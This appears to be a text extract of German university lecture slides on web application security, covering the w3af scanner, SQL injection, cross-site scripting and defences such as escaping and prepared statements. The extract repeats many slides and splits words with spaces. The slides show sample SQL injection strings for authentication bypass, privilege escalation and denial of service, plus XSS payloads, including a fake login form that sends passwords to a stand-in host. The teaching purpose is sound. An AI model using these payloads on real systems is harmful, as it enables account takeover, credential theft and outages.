Web Application Security: SQL Injection, Cross Site ... fileRico van Endern: w3af w3af - Demo 2/ 21...

65
Rico van Endern: w3af w3af - Demo 1/ 21 Web Application Security: SQL Injection, Cross Site Scripting w3af Rico van Endern 12. Februar 2014

Transcript of Web Application Security: SQL Injection, Cross Site ... fileRico van Endern: w3af w3af - Demo 2/ 21...

Rico van Endern: w3afw3af - Demo 1/ 21

Web Application Security:SQL Injection, Cross Site Scripting

w3af

Rico van Endern

12. Februar 2014

Rico van Endern: w3afw3af - Demo 2/ 21

Inhaltsverzeichnis

1 Einleitung

2 w3af - Definition

3 SQL-InjektionDefinitionAngriffsmoglichkeitenSchutzmoglichkeiten

4 Cross-Site-ScriptingDefinitionAngriffsmoglichkeitenSchutzmoglichkeiten

5 Literaturverzeichnis

6 w3af - Demo

Rico van Endern: w3afw3af - Demo 3/ 21

Einleitung

Webanwendungen werden immer ...

großer

aufwandiger

komplexer

interaktiver

Problem:

Interaktiver → Eingabemoglichkeiten → Sicherheitsrisiko

Rico van Endern: w3afw3af - Demo 3/ 21

Einleitung

Webanwendungen werden immer ...

großer

aufwandiger

komplexer

interaktiver

Problem:

Interaktiver → Eingabemoglichkeiten → Sicherheitsrisiko

Rico van Endern: w3afw3af - Demo 3/ 21

Einleitung

Webanwendungen werden immer ...

großer

aufwandiger

komplexer

interaktiver

Problem:

Interaktiver → Eingabemoglichkeiten → Sicherheitsrisiko

Rico van Endern: w3afw3af - Demo 3/ 21

Einleitung

Webanwendungen werden immer ...

großer

aufwandiger

komplexer

interaktiver

Problem:

Interaktiver → Eingabemoglichkeiten → Sicherheitsrisiko

Rico van Endern: w3afw3af - Demo 3/ 21

Einleitung

Webanwendungen werden immer ...

großer

aufwandiger

komplexer

interaktiver

Problem:

Interaktiver → Eingabemoglichkeiten → Sicherheitsrisiko

Rico van Endern: w3afw3af - Demo 4/ 21

w3af - Definition

Was ist ”w3af”?

steht fur ”Web Application Attack and Aduit Framework”

Analyse-Toolkit fur Angreifbarkeit von Webanwendungen

Durchsucht die Webanwendung nach Eingabemoglichkeiten

Analysiert die Eingabemoglichkeiten auf Sicherheitsrisiken

Sammeln von (unter anderem) Sicherheitsrelevanten Daten

benutzt Black-Box Verfahren

Rico van Endern: w3afw3af - Demo 4/ 21

w3af - Definition

Was ist ”w3af”?

steht fur ”Web Application Attack and Aduit Framework”

Analyse-Toolkit fur Angreifbarkeit von Webanwendungen

Durchsucht die Webanwendung nach Eingabemoglichkeiten

Analysiert die Eingabemoglichkeiten auf Sicherheitsrisiken

Sammeln von (unter anderem) Sicherheitsrelevanten Daten

benutzt Black-Box Verfahren

Rico van Endern: w3afw3af - Demo 4/ 21

w3af - Definition

Was ist ”w3af”?

steht fur ”Web Application Attack and Aduit Framework”

Analyse-Toolkit fur Angreifbarkeit von Webanwendungen

Durchsucht die Webanwendung nach Eingabemoglichkeiten

Analysiert die Eingabemoglichkeiten auf Sicherheitsrisiken

Sammeln von (unter anderem) Sicherheitsrelevanten Daten

benutzt Black-Box Verfahren

Rico van Endern: w3afw3af - Demo 4/ 21

w3af - Definition

Was ist ”w3af”?

steht fur ”Web Application Attack and Aduit Framework”

Analyse-Toolkit fur Angreifbarkeit von Webanwendungen

Durchsucht die Webanwendung nach Eingabemoglichkeiten

Analysiert die Eingabemoglichkeiten auf Sicherheitsrisiken

Sammeln von (unter anderem) Sicherheitsrelevanten Daten

benutzt Black-Box Verfahren

Rico van Endern: w3afw3af - Demo 4/ 21

w3af - Definition

Was ist ”w3af”?

steht fur ”Web Application Attack and Aduit Framework”

Analyse-Toolkit fur Angreifbarkeit von Webanwendungen

Durchsucht die Webanwendung nach Eingabemoglichkeiten

Analysiert die Eingabemoglichkeiten auf Sicherheitsrisiken

Sammeln von (unter anderem) Sicherheitsrelevanten Daten

benutzt Black-Box Verfahren

Rico van Endern: w3afw3af - Demo 4/ 21

w3af - Definition

Was ist ”w3af”?

steht fur ”Web Application Attack and Aduit Framework”

Analyse-Toolkit fur Angreifbarkeit von Webanwendungen

Durchsucht die Webanwendung nach Eingabemoglichkeiten

Analysiert die Eingabemoglichkeiten auf Sicherheitsrisiken

Sammeln von (unter anderem) Sicherheitsrelevanten Daten

benutzt Black-Box Verfahren

Rico van Endern: w3afw3af - Demo 4/ 21

w3af - Definition

Was ist ”w3af”?

steht fur ”Web Application Attack and Aduit Framework”

Analyse-Toolkit fur Angreifbarkeit von Webanwendungen

Durchsucht die Webanwendung nach Eingabemoglichkeiten

Analysiert die Eingabemoglichkeiten auf Sicherheitsrisiken

Sammeln von (unter anderem) Sicherheitsrelevanten Daten

benutzt Black-Box Verfahren

Rico van Endern: w3afw3af - Demo 5/ 21

SQL-Injektion - Definition

Was ist SQL-Injektion?

Injizieren/Einschleusen von SQL-Code

ermoglicht durch Einbindung in SQL-Queries

verandern des SQL-Query durch SQL-Syntax selbst(Steuerzeichen)

benotigt offensichtlich eine Eingabemoglichkeit

Rico van Endern: w3afw3af - Demo 5/ 21

SQL-Injektion - Definition

Was ist SQL-Injektion?

Injizieren/Einschleusen von SQL-Code

ermoglicht durch Einbindung in SQL-Queries

verandern des SQL-Query durch SQL-Syntax selbst(Steuerzeichen)

benotigt offensichtlich eine Eingabemoglichkeit

Rico van Endern: w3afw3af - Demo 5/ 21

SQL-Injektion - Definition

Was ist SQL-Injektion?

Injizieren/Einschleusen von SQL-Code

ermoglicht durch Einbindung in SQL-Queries

verandern des SQL-Query durch SQL-Syntax selbst(Steuerzeichen)

benotigt offensichtlich eine Eingabemoglichkeit

Rico van Endern: w3afw3af - Demo 5/ 21

SQL-Injektion - Definition

Was ist SQL-Injektion?

Injizieren/Einschleusen von SQL-Code

ermoglicht durch Einbindung in SQL-Queries

verandern des SQL-Query durch SQL-Syntax selbst(Steuerzeichen)

benotigt offensichtlich eine Eingabemoglichkeit

Rico van Endern: w3afw3af - Demo 5/ 21

SQL-Injektion - Definition

Was ist SQL-Injektion?

Injizieren/Einschleusen von SQL-Code

ermoglicht durch Einbindung in SQL-Queries

verandern des SQL-Query durch SQL-Syntax selbst(Steuerzeichen)

benotigt offensichtlich eine Eingabemoglichkeit

Rico van Endern: w3afw3af - Demo 6/ 21

SQL-Injektion - Angriffsmoglichkeiten

SELECT ‘ vorname ‘ FROM ‘ use r ‘ WHERE‘ nachname ‘=”$VARIABLE” ;

$VARIABLE={Mustermann} → Alles Normal$VARIABLE={Mustermann” OR ‘admin‘=”1} → ?

Rico van Endern: w3afw3af - Demo 6/ 21

SQL-Injektion - Angriffsmoglichkeiten

SELECT ‘ vorname ‘ FROM ‘ use r ‘ WHERE‘ nachname ‘=”$VARIABLE” ;

$VARIABLE={Mustermann} → Alles Normal$VARIABLE={Mustermann” OR ‘admin‘=”1} → ?

Rico van Endern: w3afw3af - Demo 6/ 21

SQL-Injektion - Angriffsmoglichkeiten

SELECT ‘ vorname ‘ FROM ‘ use r ‘ WHERE‘ nachname ‘=”$VARIABLE” ;

$VARIABLE={Mustermann} → Alles Normal$VARIABLE={Mustermann” OR ‘admin‘=”1} → ?

Rico van Endern: w3afw3af - Demo 7/ 21

SQL-Injektion - Angriffsmoglichkeiten

$VARIABLE={Mustermann” OR ‘admin‘=”1} →

SELECT ‘ vorname ‘ FROM ‘ use r ‘ WHERE‘ nachname ‘=” Mustermann ” OR ‘ admin ‘=”1” ;

Rico van Endern: w3afw3af - Demo 8/ 21

SQL-Injektion - Angriffsmoglichkeiten

$VARIABLE={Mustermann”; UPDATE ‘user‘ SET ‘admin‘=”1”WHERE ‘username‘=”Hacker}

SELECT ‘ vorname ‘ FROM ‘ use r ‘ WHERE‘ nachname ‘=” Mustermann ” ;

UPDATE ‘ use r ‘ SET ‘ admin ‘=”1” WHERE‘ username ‘=” Hacker ” ;

Rico van Endern: w3afw3af - Demo 9/ 21

SQL-Injektion - Angriffsmoglichkeiten

Benotigtes Wissen uber Datenbank-Struktur

Raten

Intuitiv gewahlte Namen

Fehlermeldungen hervorrufen

Rico van Endern: w3afw3af - Demo 9/ 21

SQL-Injektion - Angriffsmoglichkeiten

Benotigtes Wissen uber Datenbank-Struktur

Raten

Intuitiv gewahlte Namen

Fehlermeldungen hervorrufen

Rico van Endern: w3afw3af - Demo 9/ 21

SQL-Injektion - Angriffsmoglichkeiten

Benotigtes Wissen uber Datenbank-Struktur

Raten

Intuitiv gewahlte Namen

Fehlermeldungen hervorrufen

Rico van Endern: w3afw3af - Demo 10/ 21

SQL-Injektion - Angriffsmoglichkeiten

”Denial of Service” (DoS) Angriff

$VARIABLE={Mustermann” UNION SELECTbenchmark(999,SHA(MD5(REPEAT(’DoS’,999)))) UNIONSELECT ‘vorname‘ FROM ‘user‘ WHERE‘nachname‘=”Mustermann}

SELECT ‘ vorname ‘ FROM ‘ use r ‘ WHERE‘ nachname ‘=” Mustermann ”UNION SELECTbenchmark (999 ,SHA(MD5(REPEAT( ’DoS ’ , 9 9 9 ) ) ) )UNION SELECT ‘ vorname ‘ FROM‘ use r ‘ WHERE ‘ nachname ‘=” Mustermann ” ;

Rico van Endern: w3afw3af - Demo 10/ 21

SQL-Injektion - Angriffsmoglichkeiten

”Denial of Service” (DoS) Angriff

$VARIABLE={Mustermann” UNION SELECTbenchmark(999,SHA(MD5(REPEAT(’DoS’,999)))) UNIONSELECT ‘vorname‘ FROM ‘user‘ WHERE‘nachname‘=”Mustermann}

SELECT ‘ vorname ‘ FROM ‘ use r ‘ WHERE‘ nachname ‘=” Mustermann ”UNION SELECTbenchmark (999 ,SHA(MD5(REPEAT( ’DoS ’ , 9 9 9 ) ) ) )UNION SELECT ‘ vorname ‘ FROM‘ use r ‘ WHERE ‘ nachname ‘=” Mustermann ” ;

Rico van Endern: w3afw3af - Demo 11/ 21

SQL-Injektion -Schutzmoglichkeiten

Schutzmoglichkeiten

nicht jede Losung lost alle Probleme

nicht jede Losung deckt alle Falle ab

nicht jede Losung ist fur jede Anwendung geeignet

Rico van Endern: w3afw3af - Demo 11/ 21

SQL-Injektion -Schutzmoglichkeiten

Schutzmoglichkeiten

nicht jede Losung lost alle Probleme

nicht jede Losung deckt alle Falle ab

nicht jede Losung ist fur jede Anwendung geeignet

Rico van Endern: w3afw3af - Demo 11/ 21

SQL-Injektion -Schutzmoglichkeiten

Schutzmoglichkeiten

nicht jede Losung lost alle Probleme

nicht jede Losung deckt alle Falle ab

nicht jede Losung ist fur jede Anwendung geeignet

Rico van Endern: w3afw3af - Demo 12/ 21

SQL-Injektion -Schutzmoglichkeiten

Atomare Query

nur genau ein Query pro Aktion

oft bereits Standardmaßig implementiert

durch Inline-Query teilweise umgehbar

Rico van Endern: w3afw3af - Demo 12/ 21

SQL-Injektion -Schutzmoglichkeiten

Atomare Query

nur genau ein Query pro Aktion

oft bereits Standardmaßig implementiert

durch Inline-Query teilweise umgehbar

Rico van Endern: w3afw3af - Demo 12/ 21

SQL-Injektion -Schutzmoglichkeiten

Atomare Query

nur genau ein Query pro Aktion

oft bereits Standardmaßig implementiert

durch Inline-Query teilweise umgehbar

Rico van Endern: w3afw3af - Demo 13/ 21

SQL-Injektion -Schutzmoglichkeiten

Maskieren / Escapen

filtern der Eingabe vor dem Einbinden in SQL-Query

Steuerzeichen nicht einfach nur entfernen

Steuerzeichen so darstellen das sie nicht als solcheInterpretiert werden (vom DBMS)

Eigenentwicklung ist hier gefahrlich

Vorgefertigte Funktionen

”mysql escape string” → Bit-Ebene

”mysql real escape string” → Text-Ebene

Rico van Endern: w3afw3af - Demo 13/ 21

SQL-Injektion -Schutzmoglichkeiten

Maskieren / Escapen

filtern der Eingabe vor dem Einbinden in SQL-Query

Steuerzeichen nicht einfach nur entfernen

Steuerzeichen so darstellen das sie nicht als solcheInterpretiert werden (vom DBMS)

Eigenentwicklung ist hier gefahrlich

Vorgefertigte Funktionen

”mysql escape string” → Bit-Ebene

”mysql real escape string” → Text-Ebene

Rico van Endern: w3afw3af - Demo 13/ 21

SQL-Injektion -Schutzmoglichkeiten

Maskieren / Escapen

filtern der Eingabe vor dem Einbinden in SQL-Query

Steuerzeichen nicht einfach nur entfernen

Steuerzeichen so darstellen das sie nicht als solcheInterpretiert werden (vom DBMS)

Eigenentwicklung ist hier gefahrlich

Vorgefertigte Funktionen

”mysql escape string” → Bit-Ebene

”mysql real escape string” → Text-Ebene

Rico van Endern: w3afw3af - Demo 13/ 21

SQL-Injektion -Schutzmoglichkeiten

Maskieren / Escapen

filtern der Eingabe vor dem Einbinden in SQL-Query

Steuerzeichen nicht einfach nur entfernen

Steuerzeichen so darstellen das sie nicht als solcheInterpretiert werden (vom DBMS)

Eigenentwicklung ist hier gefahrlich

Vorgefertigte Funktionen

”mysql escape string” → Bit-Ebene

”mysql real escape string” → Text-Ebene

Rico van Endern: w3afw3af - Demo 13/ 21

SQL-Injektion -Schutzmoglichkeiten

Maskieren / Escapen

filtern der Eingabe vor dem Einbinden in SQL-Query

Steuerzeichen nicht einfach nur entfernen

Steuerzeichen so darstellen das sie nicht als solcheInterpretiert werden (vom DBMS)

Eigenentwicklung ist hier gefahrlich

Vorgefertigte Funktionen

”mysql escape string” → Bit-Ebene

”mysql real escape string” → Text-Ebene

Rico van Endern: w3afw3af - Demo 13/ 21

SQL-Injektion -Schutzmoglichkeiten

Maskieren / Escapen

filtern der Eingabe vor dem Einbinden in SQL-Query

Steuerzeichen nicht einfach nur entfernen

Steuerzeichen so darstellen das sie nicht als solcheInterpretiert werden (vom DBMS)

Eigenentwicklung ist hier gefahrlich

Vorgefertigte Funktionen

”mysql escape string” → Bit-Ebene

”mysql real escape string” → Text-Ebene

Rico van Endern: w3afw3af - Demo 14/ 21

SQL-Injektion -Schutzmoglichkeiten

Prepared Statements

Kapselung des Variablenersetzen vom Rest des SQL-Query

solange ordentlich Implementiert eine fehlerfreie Losung

Rico van Endern: w3afw3af - Demo 14/ 21

SQL-Injektion -Schutzmoglichkeiten

Prepared Statements

Kapselung des Variablenersetzen vom Rest des SQL-Query

solange ordentlich Implementiert eine fehlerfreie Losung

Rico van Endern: w3afw3af - Demo 14/ 21

SQL-Injektion -Schutzmoglichkeiten

Prepared Statements

Kapselung des Variablenersetzen vom Rest des SQL-Query

solange ordentlich Implementiert eine fehlerfreie Losung

Rico van Endern: w3afw3af - Demo 15/ 21

SQL-Injektion -Schutzmoglichkeiten

Statement vorbereiten:

SQL : PREPARE stmt FROM ’SELECT ‘ vorname ‘ FROM‘ use r ‘ WHERE ‘ nachname ‘=? ’ ;

PHP: $stmt = $mysq l i−>p r e p a r e ( ”SELECT‘ vorname ‘ FROM ‘ use r ‘ WHERE ‘ nachname ‘=?” )

Statement benutzen:

SQL : SET @a = ”$VARIABLE” ;SQL : EXECUTE stmt USING @a ;PHP: $stmt−>bind param ( ”a” , $VARIABLE ) ;PHP: $stmt−>e x e c u t e ( ) ;

Rico van Endern: w3afw3af - Demo 15/ 21

SQL-Injektion -Schutzmoglichkeiten

Statement vorbereiten:

SQL : PREPARE stmt FROM ’SELECT ‘ vorname ‘ FROM‘ use r ‘ WHERE ‘ nachname ‘=? ’ ;

PHP: $stmt = $mysq l i−>p r e p a r e ( ”SELECT‘ vorname ‘ FROM ‘ use r ‘ WHERE ‘ nachname ‘=?” )

Statement benutzen:

SQL : SET @a = ”$VARIABLE” ;SQL : EXECUTE stmt USING @a ;PHP: $stmt−>bind param ( ”a” , $VARIABLE ) ;PHP: $stmt−>e x e c u t e ( ) ;

Rico van Endern: w3afw3af - Demo 16/ 21

Cross-Site-Scripting - Definition

Was ist Cross-Site-Scripting?

kurz XSS

Einschleusen von Client-Seitigem Code (z.B. Javascript)

meist in HTML-<script>Blocken gebunden

Eingabe muss irgendwo dargestellt werden

Rico van Endern: w3afw3af - Demo 16/ 21

Cross-Site-Scripting - Definition

Was ist Cross-Site-Scripting?

kurz XSS

Einschleusen von Client-Seitigem Code (z.B. Javascript)

meist in HTML-<script>Blocken gebunden

Eingabe muss irgendwo dargestellt werden

Rico van Endern: w3afw3af - Demo 16/ 21

Cross-Site-Scripting - Definition

Was ist Cross-Site-Scripting?

kurz XSS

Einschleusen von Client-Seitigem Code (z.B. Javascript)

meist in HTML-<script>Blocken gebunden

Eingabe muss irgendwo dargestellt werden

Rico van Endern: w3afw3af - Demo 16/ 21

Cross-Site-Scripting - Definition

Was ist Cross-Site-Scripting?

kurz XSS

Einschleusen von Client-Seitigem Code (z.B. Javascript)

meist in HTML-<script>Blocken gebunden

Eingabe muss irgendwo dargestellt werden

Rico van Endern: w3afw3af - Demo 16/ 21

Cross-Site-Scripting - Definition

Was ist Cross-Site-Scripting?

kurz XSS

Einschleusen von Client-Seitigem Code (z.B. Javascript)

meist in HTML-<script>Blocken gebunden

Eingabe muss irgendwo dargestellt werden

Rico van Endern: w3afw3af - Demo 17/ 21

Cross-Site-Scripting - Angriffsmoglichkeiten

Alert Erzeugen:

< s c r i p t type=” t e x t / j a v a s c r i p t ”>a l e r t ( ”XSS”);</ s c r i p t >

DOM-Element Loschen:

< s c r i p t type=” t e x t / j a v a s c r i p t ”>document . getE lmentById ( ”ElementName” ) . parentNode .r emoveCh i ld ( document . getE lmentById ( ”ElementName” ) ) ;</ s c r i p t >

Rico van Endern: w3afw3af - Demo 17/ 21

Cross-Site-Scripting - Angriffsmoglichkeiten

Alert Erzeugen:

< s c r i p t type=” t e x t / j a v a s c r i p t ”>a l e r t ( ”XSS”);</ s c r i p t >

DOM-Element Loschen:

< s c r i p t type=” t e x t / j a v a s c r i p t ”>document . getE lmentById ( ”ElementName” ) . parentNode .r emoveCh i ld ( document . getE lmentById ( ”ElementName” ) ) ;</ s c r i p t >

Rico van Endern: w3afw3af - Demo 18/ 21

Cross-Site-Scripting - Angriffsmoglichkeiten

Fake Formular erzeugen:

<form a c t i o n=” ht tp ://www. s c r i p t k i d d y . de/ k l auen . php”method=” pos t ”>Gib de i n Passwort e i n : < i n pu t type = ” t e x t ”name = ” pas swor t ”/>< i n pu t type=” submit ” v a l u e=”LOGIN”/></form>

Was ist sonst noch denkbar...

komplette Website ”On-The-Fly” bauen

Eingaben abfangen

Eingaben erzwingen

Werbung einblenden

Mauszeiger alle 0,03s um 2 Pixel nach links versetzen...

Rico van Endern: w3afw3af - Demo 18/ 21

Cross-Site-Scripting - Angriffsmoglichkeiten

Fake Formular erzeugen:

<form a c t i o n=” ht tp ://www. s c r i p t k i d d y . de/ k l auen . php”method=” pos t ”>Gib de i n Passwort e i n : < i n pu t type = ” t e x t ”name = ” pas swor t ”/>< i n pu t type=” submit ” v a l u e=”LOGIN”/></form>

Was ist sonst noch denkbar...

komplette Website ”On-The-Fly” bauen

Eingaben abfangen

Eingaben erzwingen

Werbung einblenden

Mauszeiger alle 0,03s um 2 Pixel nach links versetzen...

Rico van Endern: w3afw3af - Demo 18/ 21

Cross-Site-Scripting - Angriffsmoglichkeiten

Fake Formular erzeugen:

<form a c t i o n=” ht tp ://www. s c r i p t k i d d y . de/ k l auen . php”method=” pos t ”>Gib de i n Passwort e i n : < i n pu t type = ” t e x t ”name = ” pas swor t ”/>< i n pu t type=” submit ” v a l u e=”LOGIN”/></form>

Was ist sonst noch denkbar...

komplette Website ”On-The-Fly” bauen

Eingaben abfangen

Eingaben erzwingen

Werbung einblenden

Mauszeiger alle 0,03s um 2 Pixel nach links versetzen...

Rico van Endern: w3afw3af - Demo 18/ 21

Cross-Site-Scripting - Angriffsmoglichkeiten

Fake Formular erzeugen:

<form a c t i o n=” ht tp ://www. s c r i p t k i d d y . de/ k l auen . php”method=” pos t ”>Gib de i n Passwort e i n : < i n pu t type = ” t e x t ”name = ” pas swor t ”/>< i n pu t type=” submit ” v a l u e=”LOGIN”/></form>

Was ist sonst noch denkbar...

komplette Website ”On-The-Fly” bauen

Eingaben abfangen

Eingaben erzwingen

Werbung einblenden

Mauszeiger alle 0,03s um 2 Pixel nach links versetzen...

Rico van Endern: w3afw3af - Demo 18/ 21

Cross-Site-Scripting - Angriffsmoglichkeiten

Fake Formular erzeugen:

<form a c t i o n=” ht tp ://www. s c r i p t k i d d y . de/ k l auen . php”method=” pos t ”>Gib de i n Passwort e i n : < i n pu t type = ” t e x t ”name = ” pas swor t ”/>< i n pu t type=” submit ” v a l u e=”LOGIN”/></form>

Was ist sonst noch denkbar...

komplette Website ”On-The-Fly” bauen

Eingaben abfangen

Eingaben erzwingen

Werbung einblenden

Mauszeiger alle 0,03s um 2 Pixel nach links versetzen...

Rico van Endern: w3afw3af - Demo 18/ 21

Cross-Site-Scripting - Angriffsmoglichkeiten

Fake Formular erzeugen:

<form a c t i o n=” ht tp ://www. s c r i p t k i d d y . de/ k l auen . php”method=” pos t ”>Gib de i n Passwort e i n : < i n pu t type = ” t e x t ”name = ” pas swor t ”/>< i n pu t type=” submit ” v a l u e=”LOGIN”/></form>

Was ist sonst noch denkbar...

komplette Website ”On-The-Fly” bauen

Eingaben abfangen

Eingaben erzwingen

Werbung einblenden

Mauszeiger alle 0,03s um 2 Pixel nach links versetzen...

Rico van Endern: w3afw3af - Demo 18/ 21

Cross-Site-Scripting - Angriffsmoglichkeiten

Fake Formular erzeugen:

<form a c t i o n=” ht tp ://www. s c r i p t k i d d y . de/ k l auen . php”method=” pos t ”>Gib de i n Passwort e i n : < i n pu t type = ” t e x t ”name = ” pas swor t ”/>< i n pu t type=” submit ” v a l u e=”LOGIN”/></form>

Was ist sonst noch denkbar...

komplette Website ”On-The-Fly” bauen

Eingaben abfangen

Eingaben erzwingen

Werbung einblenden

Mauszeiger alle 0,03s um 2 Pixel nach links versetzen...

Rico van Endern: w3afw3af - Demo 19/ 21

Cross-Site-Scripting - Schutzmoglichkeit

Steuerzeichen entfernen:

$EINGABE = s t r r e p l a c e ( ”<” , ”&l t ” , $ POST [ ’ I n pu tF e l d ’ ] ) ;$EINGABE = s t r r e p l a c e ( ”>” , ”&gt ” , $EINGABE ) ;

Spezifisch Tags entfernen:

$EINGABE = s t r i p t a g s ($ POST [ ’ I n pu tF e l d ’ ] , $Wh i t e l i s t )

Problem bei Sonderfallen: (Input in vorhandenen Tag eingefugt)

j a v a s c r i p t : e v a l ( S t r i n g . fromCharCode (66 , 79 , 69 , 83 , 69 ) )

Rico van Endern: w3afw3af - Demo 19/ 21

Cross-Site-Scripting - Schutzmoglichkeit

Steuerzeichen entfernen:

$EINGABE = s t r r e p l a c e ( ”<” , ”&l t ” , $ POST [ ’ I n pu tF e l d ’ ] ) ;$EINGABE = s t r r e p l a c e ( ”>” , ”&gt ” , $EINGABE ) ;

Spezifisch Tags entfernen:

$EINGABE = s t r i p t a g s ($ POST [ ’ I n pu tF e l d ’ ] , $Wh i t e l i s t )

Problem bei Sonderfallen: (Input in vorhandenen Tag eingefugt)

j a v a s c r i p t : e v a l ( S t r i n g . fromCharCode (66 , 79 , 69 , 83 , 69 ) )

Rico van Endern: w3afw3af - Demo 19/ 21

Cross-Site-Scripting - Schutzmoglichkeit

Steuerzeichen entfernen:

$EINGABE = s t r r e p l a c e ( ”<” , ”&l t ” , $ POST [ ’ I n pu tF e l d ’ ] ) ;$EINGABE = s t r r e p l a c e ( ”>” , ”&gt ” , $EINGABE ) ;

Spezifisch Tags entfernen:

$EINGABE = s t r i p t a g s ($ POST [ ’ I n pu tF e l d ’ ] , $Wh i t e l i s t )

Problem bei Sonderfallen: (Input in vorhandenen Tag eingefugt)

j a v a s c r i p t : e v a l ( S t r i n g . fromCharCode (66 , 79 , 69 , 83 , 69 ) )

Rico van Endern: w3afw3af - Demo 20/ 21

Literaturverzeichnis

Sichere WebanwendungenKurzel SW:2009Autor Mario Heiderich, Christian Matthies, Johannes Dahse, fukamiISBN 978-3-8362-1194-9Zitierlink (UniBib) http://www.ub.tu-dortmund.de/katalog/titel/1241714

Sichere Webanwendungen mit PHPKurzel SWmP:2007Autor Tobias WassermannISBN 978-3-8266-1754-6Zitierlink (UniBib) http://www.ub.tu-dortmund.de/katalog/titel/1188639

SQL injection attacks and defenseKurzel Siaad:2012Autor Justin ClarkeISBN 978-1-59749-973-6Zitierlink (UniBib) http://www.ub.tu-dortmund.de/katalog/titel/1414187

Rico van Endern: w3afw3af - Demo 21/ 21

Cross-Site-Scripting - Angriffsmoglichkeiten

DEMO